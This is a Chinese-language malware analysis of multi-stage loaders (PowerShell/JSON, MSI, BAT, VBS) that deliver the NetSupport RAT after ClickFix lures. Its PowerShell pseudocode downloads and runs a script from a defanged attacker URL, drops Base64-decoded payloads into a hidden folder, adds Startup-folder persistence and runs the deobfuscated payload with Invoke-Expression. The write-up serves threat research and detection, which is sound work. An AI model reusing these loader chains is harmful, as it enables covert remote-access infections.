1. 簡介

諸如 NetSupport Manager 之類商用 Remote Access Trojan (RATs) 在惡意攻擊中的擴散，使得對其傳遞機制進行徹底檢查成為必要。Threat actor 經常利用合法的遠端管理工具，利用其固有的能力進行秘密操作和命令與控制。本研究調查了一系列多階段 loader，透過初始存取向量傳遞，旨在部署 NetSupport RAT payload [1] 。主要目標是深入技術性地剖析觀察到的 loader 變體，重點關注其執行流程、去混淆例行程序(deobfuscation routine)和持久化的建立。

2. Loader 分析與執行流程

該攻擊採用模組化方法，使用至少四種不同的 loader 類型來確保 payload 成功傳遞。初始破壞通常涉及社交工程，誘使用戶透過 Windows 使用提示字元執行惡意命令，攻擊者試圖透過刪除特定登錄檔 key（例如 RunMRU 環境中的那些 key）來隱藏這種技術 [1] 。

2.1. PowerShell/JSON Loader

PowerShell/JSON loader 是觀察到的攻擊中非常普遍的組件。它的執行始於一個命令，用途為繞過執行原則並從遠端伺服器下載次要的 PowerShell 腳本，通常使用類似 hxxps://riverlino[.]com/U.GRE 的 URL 結構 [1] 。第二個變體使用 Invoke-Expression (IEX) cmdlet 直接執行在記憶體中下載的腳本 [1] 。這個次要腳本的核心功能是一個六步驟的程序：

1. 它解碼包含 JSON 設定 的 Base64 編碼 blob。
2. 它解析此 JSON，其中包含 filename 與其各自 Base64 編碼 payload 配對的結構化列表。
3. 在系統上建立一個隱藏或帶有系統標誌的 dropper 目錄。
4. 每個 payload 都經過 Base64 解碼並寫入新建立的隱藏目錄中的磁碟。
5. 使用放置在 %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup 資料夾中的捷徑檔案來建立持久化。
6. 最後，執行 NetSupport 用戶端，通常命名為 client32.exe 。

以下 pseudocode 說明了 PowerShell loader 多階段執行和設定解析的關鍵步驟：

# PowerShell Loader Pseudocode Analysis
# Stage 1: Initial Download and Execution (Example 1)
# $S: Remote URL for the next stage PowerShell script
# $j: Local path to save the script (e.g., %TEMP%\1.ps1)
$S='hxxps://riverlino[.]com/U.GRE';
$j=$env:TEMP+'\1.ps1';
(New-Object Net.WebClient).DownloadFile($S,$j); # Download the script
powershell -f $j # Execute the downloaded script
# Stage 2: Secondary PowerShell Script Core Logic
$base64_json_blob = Get-Remote-Config(); # Fetch the obfuscated JSON configuration
$decoded_json = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64_json_blob));
$config = ConvertFrom-Json $decoded_json; # Parse the JSON structure
# Example JSON Structure (Conceptual)
# {
#   "files": [
#     { "filename": "client32.exe", "payload": "Base64_Payload_1..." },
#     { "filename": "config.ini", "payload": "Base64_Payload_2..." }
#   ]
# }
$dropper_dir = Create-Hidden-Directory(); # Create hidden/system dropper directory
foreach ($file in $config.files) {
    $payload_bytes = [System.Convert]::FromBase64String($file.payload);
    [System.IO.File]::WriteAllBytes((Join-Path $dropper_dir $file.filename), $payload_bytes); # Write payload to disk
}
# Persistence Mechanism
$startup_path = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup";
Create-Shortcut -Target (Join-Path $dropper_dir "client32.exe") -LinkPath (Join-Path $startup_path "NetSupport.lnk");
Start-Process (Join-Path $dropper_dir "client32.exe"); # Execute the final payload

2.2. MSI Loader 與去混淆

一個更複雜的 loader 變體利用 msiexec 工具程式來遠端取得和執行惡意的 MSI 安裝程式包 [1] 。這種方法值得注意之處在於它使用了一種特定的去混淆技術，應用於一個嵌入的 Base64 編碼 PowerShell command。去混淆涉及一種簡單而有效的位元組相減密碼，其中將數值 97 從編碼字串的每個位元組中減去，然後再將其傳遞給 Invoke-Expression (IEX) [1] 。儘管這種技術很容易被逆向工程，但它提供了一層防禦，以對抗不模擬或直譯客制化去混淆例行程序的靜態分析工具。

去混淆程序可視化如下：

# MSI-Based Loader Deobfuscation Analysis
# The MSI package executes a Base64-encoded, obfuscated PowerShell command.
# Obfuscated String (Conceptual Example)
$obf_string = "..." # Long string of characters
# Deobfuscation Logic (Conceptual PowerShell)
$deobf_bytes = @();
foreach ($byte in [System.Text.Encoding]::ASCII.GetBytes($obf_string)) {
    $deobf_bytes += $byte - 97; # Subtract 97 from each byte
}
$deobf_string = [System.Text.Encoding]::ASCII.GetString($deobf_bytes); # Result is the Base64-encoded payload
# Final Execution
$base64_payload = $deobf_string;
$decoded_payload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64_payload));
Invoke-Expression $decoded_payload; # Execute the final, deobfuscated PowerShell script

2.3. Batch 和 VBScript Loaders

進一步的分析揭示了傳統腳本環境的使用，即 Batch (BAT) 和 VBScript (VBS)，以維持跨不同目標環境的多功能性和相容性 [1] 。BAT loader 主要作為一個 wrapper，用於執行一個 PowerShell command，該 command 使用 Invoke-WebRequest (iwr) 下載遠端腳本，然後使用 Invoke-Expression (iex) 執行它 [1] 。這是建立 foothold 和取得後續階段的常見模式。

VBS loader 的結構是在腳本本身內包含一個 Base64 編碼的 PowerShell command。它利用 WScript.Shell 來解碼和執行嵌入的 command，展示了一種替代的執行更新，繞過了初始階段的直接 PowerShell command-line 呼叫 [1] 。

3. 感染架構與持久化

總體感染架構是一個多階段程序，目的為實現隱蔽性和持久化。初始存取向量之後是執行四個 loader 之一，然後繼續丟棄必要的 NetSupport RAT 檔案。使用隱藏/系統目錄來儲存 payload 是一種基於檔案系統的規避技術。

持久化機制依賴於 Startup 資料夾中的捷徑檔案，這是一種簡單但高效的技術，可確保 RAT 在系統重啟時執行 [1] 。最終的 payload，NetSupport 用戶端，是一個合法的工具，這使得僅憑檔案 hash 或程序名稱進行偵測變得複雜。

下圖說明了多向量 loader 的高層次架構攻擊：

上面模型圖表示了完整的感染鏈。程序從初始存取點 (A) 開始，並根據 loader 類型 (B) 分支。PowerShell/JSON 路徑 (C, D, E) 最為複雜，涉及用於多檔案丟棄的 JSON 設定。MSI 路徑 (F, G) 引入了一個特定的位元組相減去混淆步驟。所有路徑都匯聚到檔案丟棄階段 (E)，導向持久化 (J) 和最終 payload 執行 (K)。此架構突顯了攻擊者使用 Redundancy 和不同的執行方法來最大化成功破壞的機會。

4. 結論

NetSupport RAT 傳遞機制的分析揭示了一種複雜的多向量方法，其特點是模組化 loader、有效的混淆以及對合法系統工具程式的依賴。PowerShell、MSI、BAT 和 VBS loader 的使用提供了 Redundancy 和廣泛的相容性。技術細節，例如 PowerShell 變體中基於 JSON 的 payload 設定和 MSI 變體中的位元組相減密碼，強調了需要動態分析技術來準確偵測和緩解這些威脅。持久化機制雖然簡單，卻是確保 Threat actor 長期存取的關鍵最終步驟。

References

1. eSentire | Unpacking NetSupport RAT Loaders Delivered via ClickFix